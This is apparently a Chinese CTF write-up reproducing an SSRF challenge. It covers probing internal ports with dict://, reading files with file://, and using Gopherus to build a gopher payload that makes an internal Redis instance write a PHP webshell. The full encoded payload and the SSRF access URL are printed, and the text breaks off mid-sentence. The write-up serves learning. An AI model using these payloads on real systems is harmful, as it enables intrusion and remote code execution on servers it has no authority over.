web-ssrfme复现
目录
如何是ssr漏洞:
编辑
一、皮卡丘靶场
docker搭建环境
gopher工具介绍:
工具使用–写任务计划反弹shell:
2月公开赛Web-ssrfme
如何是ssr漏洞:
ssrf:服务器请求伪造漏洞,有一个参数,这个参数可以接收一个网址,可以在本地页面解析,解析过程 中没有进行过滤。
PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec() 请求网址
一、皮卡丘靶场
docker搭建环境
docker run -d -p 8765:80 8023/pikachu-expect:latest
国内很多加速源都用不成,配置代理拉取即可,配置方式如下:
1,新建目录 mkdir -p /etc/systemd/system/docker.service.d 2,新建文件,粘贴并内容,并保存! vim /etc/systemd/system/docker.service.d/http-proxy.conf 以下粘贴内容,IP一定要换成你代理软件运行的电脑的内网IP,通过ipconfig可以查看 端口一定要是代理软件设置的局域网端口! [Service] Environment="HTTP_PROXY=http://192.168.8.125:10819" Environment="HTTPS_PROXY=http://192.168.8.125:10819" Environment="NO_PROXY=your-registry.com,127.0.0.1,*.example.com" 3,重启Docker systemctl daemon-reload systemctl restart docker
就像这样,可是这样好像也没什么用。
curl支持很多协议,有ftp,ftps,http,https,gopher,telnet,dict,file以及ldap dict协议:探测服务 ?url=dict://127.0.0.1:3306 此时读出来一些东西,改成3307没内容。证明dict协议可以去探测内网端口。 主要探测:fastcgi服务,可以去实现rec redis服务,6379端口,配合redis未授权访问,redis低版本下,很多人会设置访问密码,且安全模式关闭的情况下,我们可以:1.写入webshell(前提知道物理路径)2.写入任务计划,反弹shell 3.写入公钥,直接登录服务器。
file协议可以读取文件 ?url=file:///var/www/html/inc/config.inc.php 这里读取到了数据库连接文件,前提是:知道路径文件名,看你的当前权限
gopher协议 可以发送get和post请求
获取gopherus工具:
克隆仓库: git clone https://github.com/tarunkant/Gopherus.git cd Gopherus 进入Gopherus/目录下 chmod +x install.sh sudo ./install.sh 执行安装脚本 由于此工具使用的是python2环境,安装时还会报错,我们去安装一个python2环境即可。 参考:【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi
克隆仓库过程中会出现请求不到网址,只需要配置代理即可(修改“vpn”的代理)
git config --global http.https://github.com.proxy http://10.100.186.105:7897 地址是你本机的内网地址,端口是你的代理软件开启的端口
安装成功!
gopher工具介绍:
如果您知道某个地方容易受到 SSRF 攻击,那么此工具将帮助您生成 Gopher有效载荷,以利用SSRF,并获得 RCE(远程代码执行)
root@yfy:~/Gopherus# gopherus --exploit redis //我们选择攻击redis ________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______ / \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/ \ \_\ ( ) |_> > Y \ ___/| | \/ | /\___ \ \______ /\____/| __/|___| /\___ >__| |____//____ > \/ |__| \/ \/ \/ author: $_SpyD3r_$ Ready To get SHELL What do you want?? (ReverseShell/PHPShell):PHPshell //你要反弹shell还是写入phpshell Give web root location of server (default is /var/www/html): //你要写入的根路径是哪个? Give PHP Payload (We have default PHP Shell): gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A 进行二次编码: gopher%3A%2F%2F172.18.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
然后使用ssrf访问这个内网的shell.php即可得到flag
http://192.168.81.132:8091/?url=http://172.18.0.2:80/upload/shell.php
我们也可以通过反弹shell来找flag。同样以上操作,会在这台内网主机的upload目录里写入一个shell.php,内容如下:
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。